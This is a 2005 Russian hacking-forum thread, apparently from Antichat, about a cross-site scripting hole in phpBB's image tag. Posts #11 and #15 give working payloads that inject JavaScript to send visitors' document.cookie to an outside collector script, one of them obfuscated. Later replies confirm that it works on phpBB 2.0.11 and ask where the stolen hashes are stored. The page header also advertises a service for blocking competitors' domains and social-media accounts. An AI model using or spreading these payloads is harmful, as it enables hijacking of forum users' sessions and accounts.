XSS в phpBB

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
XSS в phpBB

Страница 2 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#11

13.01.2005, 23:42

zFlex

Новичок

Регистрация: 26.12.2004

Сообщений: 5

С нами: 11248211

Репутация: 0

Вот пример:

Код:

http://www.smailiki.nm.ru/lam/lam4.gif" style="background:url(javascript:document.images[0].src=/http:xxantichat.ruxcgi-binxs.jpg?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)

Кто будет писать видео, просьба написать, что уязвимость нашел Mr. Iron (icq # 9170797)
Самое простое решение против этого XSS - это htmlspecialchars()

Последний раз редактировалось Егорыч+++; 14.01.2005 в 00:11..

#12

13.01.2005, 23:53

Егорыч+++

Познавший АНТИЧАТ

Регистрация: 27.05.2002

Сообщений: 1,241

С нами: 12607586

Репутация: 0

да прикольно..

#13

13.01.2005, 23:55

Егорыч+++

Познавший АНТИЧАТ

Регистрация: 27.05.2002

Сообщений: 1,241

С нами: 12607586

Репутация: 0

Плохо что максимум что можно с этого взять это базу пользователей

#14

14.01.2005, 00:44

>>ElvI$<<

Познающий

Регистрация: 12.01.2005

Сообщений: 42

С нами: 11223265

Репутация: 1

Кстате,под эту уязвимость не попадает Phpbb 2.0.11 ....
если я не прав... заделитесь ссылочкой Icq:937843

#15

14.01.2005, 13:00

Algol

Регистрация: 29.05.2002

Сообщений: 1,793

С нами: 12604706

Репутация: 0

Тока зря все эти шаманские танцы с .source.replace(/x/g,String.fromCharCode(47))
Это можно сделать намного проще:

Код:

http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)

#16

14.01.2005, 13:33

~~TORn@Do~~

Banned

Регистрация: 14.01.2005

Сообщений: 9

С нами: 11220870

Репутация: 0

Цитата:

Сообщение от Algol

Тока зря все эти шаманские танцы с .source.replace(/x/g,String.fromCharCode(47))
Это можно сделать намного проще:

Код:

http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)

урааааааааа Работает даже на версси PHPBB 2.0.11

#17

14.01.2005, 13:37

~~TORn@Do~~

Banned

Регистрация: 14.01.2005

Сообщений: 9

С нами: 11220870

Репутация: 0

plunul eto:
document.writeln (
"<a target=_blank href='http://ad.strict.tbn.ru/bb.cgi?cmd=go&r=r_ssi" +
"&vbn=353&pac=2836328&pnm=7&bac=69735877&bnm=2&ref =http%3A%2F%2Ftattoo%2Efani%2Eru%2F&loc=&htr=http% 3A%2F%2Ftattoo%2Efani%2Eru%2Fgallery%2F'>" +
"<img src='http://195.161.118.159/69735/69735877_2.gif' border=0 width=468 height=60 alt=\"TBN -- The Banner Network\" title=\"TBN -- The Banner Network\"></a>"
);

#18

15.01.2005, 09:17

A1ien

Новичок

Регистрация: 15.01.2005

Сообщений: 1

С нами: 11219598

Репутация: 0

Цитата:

http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)

И куда сохраняется файл с Хешами ???